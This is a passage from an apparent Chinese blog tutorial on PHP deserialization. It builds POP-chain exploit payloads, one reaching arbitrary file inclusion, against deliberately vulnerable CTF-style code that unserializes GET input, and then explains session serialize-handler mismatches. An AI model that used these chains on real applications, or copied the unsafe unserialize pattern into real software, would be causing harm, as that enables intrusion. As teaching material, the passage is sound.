</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> func
{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $mod1;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $mod2;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct()
    {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;mod1= <span style="color: rgba(0, 0, 255, 1)">new</span> string1();  <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">把 $mod1赋值为string1类对象</span>
<span style="color: rgba(0, 0, 0, 1)">
    }
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __invoke()
    {   
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;mod2 = <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">字符串拼接</span><span style="color: rgba(128, 0, 0, 1)">"</span>.$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">mod1;
    }
}
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> string1
{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $str1;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct()
    {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;str1= <span style="color: rgba(0, 0, 255, 1)">new</span> GetFlag();  <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">把 $str1赋值为GetFlag类对象      </span>
<span style="color: rgba(0, 0, 0, 1)">    }
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __toString()
    {   
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;str1-&gt;<span style="color: rgba(0, 0, 0, 1)">get_flag();
      </span><span style="color: rgba(0, 0, 255, 1)">return</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">1</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
    }
}
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> GetFlag
{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function get_flag()
    {
      echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">flag:</span><span style="color: rgba(128, 0, 0, 1)">"</span>.<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">xxxxxxxxxxxx</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
    }
}
$b </span>= <span style="color: rgba(0, 0, 255, 1)">new</span> start_gg;  <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">构造start_gg类对象$b</span>
echo urlencode(serialize($b));  <span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">显示输出url编码后的序列化对象</span></span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201003012949932-981080987.png" alt="" width="949" height="202" loading="lazy"></p>
<p>输出payload后传参,成功执行get_flag():</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201003012717677-1859240898.png" alt="" width="678" height="312" loading="lazy"></p>
<h2>POP链构造小例子四</h2>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Modifier {
    </span><span style="color: rgba(0, 0, 255, 1)">protected</span>$<span style="color: rgba(0, 0, 255, 1)">var</span><span style="color: rgba(0, 0, 0, 1)">;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function append($value){
      include($value);
    }
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __invoke(){
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;append($<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 255, 1)">var</span><span style="color: rgba(0, 0, 0, 1)">);
    }
}

</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Show{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $source;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $str;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span> function __construct($file=<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">index.php</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">){
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;source =<span style="color: rgba(0, 0, 0, 1)"> $file;
      echo </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">Welcome to </span><span style="color: rgba(128, 0, 0, 1)">'</span>.$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;source.<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;br&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
    }
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __toString(){
      </span><span style="color: rgba(0, 0, 255, 1)">return</span> $<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;str-&gt;<span style="color: rgba(0, 0, 0, 1)">source;
    }

    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __wakeup(){
      </span><span style="color: rgba(0, 0, 255, 1)">if</span>(preg_match(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">/gopher|http|file|ftp|https|dict|\.\./i</span><span style="color: rgba(128, 0, 0, 1)">"</span>, $<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">source)) {
            echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">hacker</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
            $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;source = <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">index.php</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
      }
    }
}

</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Test{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $p;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct(){
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;p =<span style="color: rgba(0, 0, 0, 1)"> array();
    }

    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __get($key){
      $function </span>= $<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">p;
      </span><span style="color: rgba(0, 0, 255, 1)">return</span><span style="color: rgba(0, 0, 0, 1)"> $function();
    }
}

</span><span style="color: rgba(0, 0, 255, 1)">if</span>(isset($_GET[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">pop</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">])){
    @unserialize($_GET[</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">pop</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">]);
}
</span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)">{
    $a</span>=<span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> Show;
    highlight_file(__FILE__);
}
</span>?&gt;</span></pre>
</div>
<p>通读代码,发现漏洞点在于可以通过调用Modifier类中的include方法造成任意文件包含漏洞。这是一个类的普通方法,要让这个方法执行,需要构造一个POP链。</p>
<p>1. <span style="background-color: rgba(255, 255, 153, 1)">Modifier</span>类中<span style="background-color: rgba(255, 255, 153, 1)">append</span>方法被<span style="background-color: rgba(255, 255, 153, 1)">__invoke()</span>调用,并传入<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;var</span>参数。当类<span style="background-color: rgba(255, 255, 153, 1)">Modifier</span>被当作函数调用的时候,会自动调用魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__invoke()</span>。</p>
<p>最后在<span style="background-color: rgba(255, 255, 153, 1)">Test</span>类的构造函数看到了<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;p</span>,这里可以直接通过反序列化控制属性<span style="background-color: rgba(255, 255, 153, 1)">p</span>的值,然后通过调用魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__get()</span>来<span style="background-color: rgba(255, 255, 153, 1)">return</span>一个<span style="background-color: rgba(255, 255, 153, 1)">p()</span>,类被当作函数调用就可以触发魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__invoke()</span>,需要把<span style="background-color: rgba(255, 255, 153, 1)">p</span>赋值为<span style="background-color: rgba(255, 255, 153, 1)">Modifier</span>类的对象,<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;var</span>可以传入想要包含的文件。</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;p = <span style="color: rgba(0, 0, 255, 1)">new</span> Modifier()</span></pre>
</div>
<p>2. <span style="background-color: rgba(255, 255, 153, 1)">Test</span>类中的魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__get()</span>是在读取不可访问属性的值时会被调用,发现<span style="background-color: rgba(255, 255, 153, 1)">Show</span>类中的魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__toString()</span>访问了<span style="background-color: rgba(255, 255, 153, 1)">str</span>的<span style="background-color: rgba(255, 255, 153, 1)">source</span>属性,如果<span style="background-color: rgba(255, 255, 153, 1)">str</span>是<span style="background-color: rgba(255, 255, 153, 1)">Test</span>类的对象,则不存在<span style="background-color: rgba(255, 255, 153, 1)">source</span>属性,Test类的<span style="background-color: rgba(255, 255, 153, 1)">__get()</span>魔术方法就会被调用。</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;str = <span style="color: rgba(0, 0, 255, 1)">new</span> Test()</span></pre>
</div>
<p>3. <span style="background-color: rgba(255, 255, 153, 1)">Show</span>类中的魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__toString()</span>是当一个对象被当作一个字符串被调用。发现<span style="background-color: rgba(255, 255, 153, 1)">Show</span>类的构造方法<span style="background-color: rgba(255, 255, 153, 1)">__construct()</span>使用echo输出字符串,如果<span style="background-color: rgba(255, 255, 153, 1)">$this-&gt;source</span>指向一个对象,就会调用<span style="background-color: rgba(255, 255, 153, 1)">__toString()</span>方法。</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">$a = <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> Show();
$</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;source = $a;</span></pre>
</div>
<p>最终的调用链如下:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">include &lt;-- Modifier::__invoke() &lt;-- Test::__get() &lt;-- Show::__toString()</span></pre>
</div>
<p>尝试构造payload:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Modifier {
    </span><span style="color: rgba(0, 0, 255, 1)">protected</span>$<span style="color: rgba(0, 0, 255, 1)">var</span> = <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">D://1.txt</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
    }

</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Show{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $source;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $str;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span> function __construct($file=<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">index.php</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">){
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;source =<span style="color: rgba(0, 0, 0, 1)"> $file;
      echo </span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">Welcome to </span><span style="color: rgba(128, 0, 0, 1)">'</span>.$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;source.<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;br&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
    }
}

</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> Test{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $p;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> function __construct(){
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;p = <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> Modifier();
    }
}

$a </span>= <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> Show();
$a</span>-&gt;source =<span style="color: rgba(0, 0, 0, 1)"> $a;
$a</span>-&gt;str = <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> Test();
echo urlencode(serialize($a));
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201003160610179-1613689058.png" alt="" width="946" height="188" loading="lazy"></p>
<p>输出payload后传参,成功执行:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201003160743559-1561333164.png" alt="" width="755" height="238" loading="lazy"></p>
<h1>PHP Session反序列化</h1>
<p>以下内容参考自《带你走进PHP session反序列化漏洞》</p>
<h2>PHP Session</h2>
<h3>session请求过程</h3>
<p>当第一次访问网站时,<span style="background-color: rgba(255, 255, 153, 1)">Seesion_start()</span>函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。</p>
<h3>session_start的作用</h3>
<p>当会话自动开始或者通过 <span style="background-color: rgba(255, 255, 153, 1)">session_start()</span> 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为<span style="background-color: rgba(255, 255, 153, 1)">sess_PHPSESSID</span>(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回<span style="background-color: rgba(255, 255, 153, 1)">set-cookie</span>。</p>
<p>整个流程大概如上所述,也可参考下述流程图:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201003174021765-253947050.png" alt="" width="964" height="294" loading="lazy"></p>
<h2>Session存储机制</h2>
<p align="left">PHP中的Session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项<span style="background-color: rgba(255, 255, 153, 1)">session.save_handler</span>来进行确定的,默认是以文件的方式存储。存储的文件是以<span style="background-color: rgba(255, 255, 153, 1)">sess_sessionid</span>来进行命名的,文件的内容就是Session值的序列化之后的内容。</p>
<p align="left">先来大概了解一下PHP Session在php.ini中主要存在以下配置项:</p>
<table style="height: 251px; width: 872px; border: 2px solid rgba(0, 0, 0, 1)" border="2" align="center">
<tbody>
<tr>
<td style="text-align: center"><strong>Directive</strong></td>
<td style="text-align: center"><strong>含义</strong></td>
</tr>
<tr>
<td style="text-align: center">session.save_handler</td>
<td style="text-align: center">设定用户自定义session存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)。默认为files</td>
</tr>
<tr>
<td style="text-align: center">session.save_path</td>
<td style="text-align: center">设置session的存储路径,默认在/tmp</td>
</tr>
<tr>
<td style="text-align: center">session.serialize_handler</td>
<td style="text-align: center">定义用来序列化<span class="token operator">/反序列化的处理器名字。默认使用php</span>。</td>
</tr>
<tr>
<td style="text-align: center">session.auto_start</td>
<td style="text-align: center">指定会话模块是否在请求开始时启动一个会话,默认为0不启动</td>
</tr>
<tr>
<td style="text-align: center">session.upload_progress.enabed</td>
<td style="text-align: center">将上传文件的进度信息存储在session中。默认开启</td>
</tr>
<tr>
<td style="text-align: center">session.upload_progress.cleanup</td>
<td style="text-align: center">一旦读取了所有的POST数据,立即清除进度信息。默认开启</td>
</tr>
</tbody>
</table>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201003180256519-443570028.png" alt="" width="960" height="129" loading="lazy"></p>
<p>在PHP中Session有三种序列化的方式,分别是<span style="background-color: rgba(255, 255, 153, 1)">php,php_serialize,php_binary<span style="background-color: rgba(255, 255, 255, 1)">,不同的引擎所对应的Session的存储的方式不同</span></span></p>
<table style="border-color: rgba(0, 0, 0, 1); border-width: 2px" border="2">
<tbody>
<tr>
<td style="text-align: center"><strong>存储引擎</strong></td>
<td style="text-align: center"><strong>存储方式</strong></td>
</tr>
<tr>
<td style="text-align: center">php_binary</td>
<td style="text-align: center">键名的长度对应的 ASCII 字符 + 键名 + 经过 <span style="background-color: rgba(255, 255, 153, 1)">serialize()</span> 函数序列化处理的值</td>
</tr>
<tr>
<td style="text-align: center">php</td>
<td style="text-align: center">键名 + 竖线 + 经过 <span style="background-color: rgba(255, 255, 153, 1)">serialize()</span> 函数序列处理的值</td>
</tr>
<tr>
<td style="text-align: center">php_serialize</td>
<td style="text-align: center">(PHP&gt;5.5.4) 经过 <span style="background-color: rgba(255, 255, 153, 1)">serialize()</span> 函数序列化处理的<span style="background-color: rgba(255, 255, 153, 1)">数组</span></td>
</tr>
</tbody>
</table>
<p>下面通过小例子来展示一下存储方式的不同:</p>
<h4>php处理器:</h4>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
error_reporting(</span><span style="color: rgba(128, 0, 128, 1)">0</span><span style="color: rgba(0, 0, 0, 1)">);
ini_set(</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">session.serialize_handler</span><span style="color: rgba(128, 0, 0, 1)">'</span>,<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">php</span><span style="color: rgba(128, 0, 0, 1)">'</span>);
<span style="color: rgba(0, 0, 0, 1)">session_start();
$_SESSION[</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">username</span><span style="color: rgba(128, 0, 0, 1)">'</span>] = $_GET[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">username</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">];
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201003183237641-993665055.png" alt="" width="773" height="275" loading="lazy"></p>
<p>序列化的结果为:<span style="background-color: rgba(255, 255, 153, 1)">username|s:7:"bmjoker";</span></p>
<p>文件名为&nbsp;<span style="background-color: rgba(255, 255, 153, 1)">sess_ck17sapjdvffchabcgp2suji96</span>,其中<span style="background-color: rgba(255, 255, 153, 1)">ck17sapjdvffchabcgp2suji96</span>为当前会话的sessionid</p>
<p>Session文件内容为:<span style="background-color: rgba(255, 255, 153, 1)">$_SESSION['username']的键名 + | + GET参数经过serialize序列化后的值</span>。</p>
<h4>php_binary处理器</h4>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
error_reporting(</span><span style="color: rgba(128, 0, 128, 1)">0</span><span style="color: rgba(0, 0, 0, 1)">);
ini_set(</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">session.serialize_handler</span><span style="color: rgba(128, 0, 0, 1)">'</span>,<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">php_binary</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">);
session_start();
$_SESSION[</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">username</span><span style="color: rgba(128, 0, 0, 1)">'</span>] = $_GET[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">user</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">];
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201003184521610-945498430.png" alt="" width="790" height="306" loading="lazy"></p>
<p>序列化的结果为:<span style="background-color: rgba(255, 255, 153, 1)">usernames:7:"bmjoker";</span></p>
<p>文件名为&nbsp;<span style="background-color: rgba(255, 255, 153, 1)">sess_ck17sapjdvffchabcgp2suji96</span>,其中<span style="background-color: rgba(255, 255, 153, 1)">ck17sapjdvffchabcgp2suji96</span>为当前会话的sessionid</p>
<p>Session文件内容为:<span style="background-color: rgba(255, 255, 153, 1)">键名的长度对应的 ASCII 字符 + $_SESSION['username']的键名 + GET参数经过serialize序列化后的值</span>。</p>
<h4>php_serialize处理器</h4>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
error_reporting(</span><span style="color: rgba(128, 0, 128, 1)">0</span><span style="color: rgba(0, 0, 0, 1)">);
ini_set(</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">session.serialize_handler</span><span style="color: rgba(128, 0, 0, 1)">'</span>,<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">php_serialize</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">);
session_start();
$_SESSION[</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">username</span><span style="color: rgba(128, 0, 0, 1)">'</span>] = $_GET[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">user</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">];
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201003185309334-1286957261.png" alt="" width="803" height="264" loading="lazy"></p>
<p>序列化的结果为:<span style="background-color: rgba(255, 255, 153, 1)">a:1:{s:8:"username";s:7:"bmjoker";}</span></p>
<p>文件名为&nbsp;<span style="background-color: rgba(255, 255, 153, 1)">sess_ck17sapjdvffchabcgp2suji96</span>,其中<span style="background-color: rgba(255, 255, 153, 1)">ck17sapjdvffchabcgp2suji96</span>为当前会话的sessionid</p>
<p>Session文件内容为:<span style="background-color: rgba(255, 255, 153, 1)">GET参数经过serialize序列化后的值</span>。</p>
<h2>Session反序列化漏洞</h2>
<p>PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化,PHP中的Session的实现是没有的问题的,漏洞主要是由于<span style="background-color: rgba(255, 255, 153, 1)">使用不同的引擎来处理session文件</span>造成的。</p>
<h3><strong>存在对$_SESSION变量赋值</strong></h3>
<p>php引擎存储Session的格式为</p>
<table style="border: 2px solid rgba(0, 0, 0, 1)" border="2">
<tbody>
<tr>
<td>php</td>
<td>键名 + 竖线 + 经过&nbsp;serialize()&nbsp;函数序列处理的值</td>
</tr>
<tr>
<td>php_serialize</td>
<td>(PHP&gt;5.5.4) 经过&nbsp;serialize()&nbsp;函数序列化处理的数组</td>
</tr>
</tbody>
</table>
<p>如果程序使用两个引擎来分别处理的话就会出现问题。比如下面的例子,先使用<span style="background-color: rgba(255, 255, 153, 1)">php_serialize</span>引擎来存储Session:</p>
<p>Session1.php</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
error_reporting(</span><span style="color: rgba(128, 0, 128, 1)">0</span><span style="color: rgba(0, 0, 0, 1)">);
ini_set(</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">session.serialize_handler</span><span style="color: rgba(128, 0, 0, 1)">'</span>,<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">php_serialize</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">);
session_start();
$_SESSION[</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">username</span><span style="color: rgba(128, 0, 0, 1)">'</span>] = $_GET[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">user</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">];
echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;pre&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
var_dump($_SESSION);
echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;/pre&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
</span>?&gt;</span></pre>
</div>
<p>接下来使用<span style="background-color: rgba(255, 255, 153, 1)">php</span>引擎来读取Session文件</p>
<p>Session2.php</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
error_reporting(</span><span style="color: rgba(128, 0, 128, 1)">0</span><span style="color: rgba(0, 0, 0, 1)">);
ini_set(</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">session.serialize_handler</span><span style="color: rgba(128, 0, 0, 1)">'</span>,<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">php</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">);
session_start();
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> user{
    </span><span style="color: rgba(0, 0, 255, 1)">var</span><span style="color: rgba(0, 0, 0, 1)"> $name;
    </span><span style="color: rgba(0, 0, 255, 1)">var</span><span style="color: rgba(0, 0, 0, 1)"> $age;
    function __wakeup(){
      echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">hello </span><span style="color: rgba(128, 0, 0, 1)">"</span>.$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;name.<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)"> !</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">
    }
}
</span>?&gt;</span></pre>
</div>
<p>漏洞的主要原因在于不同的引擎对于竖杠<span style="background-color: rgba(255, 255, 153, 1)">'&nbsp;| '</span>的解析产生歧义。</p>
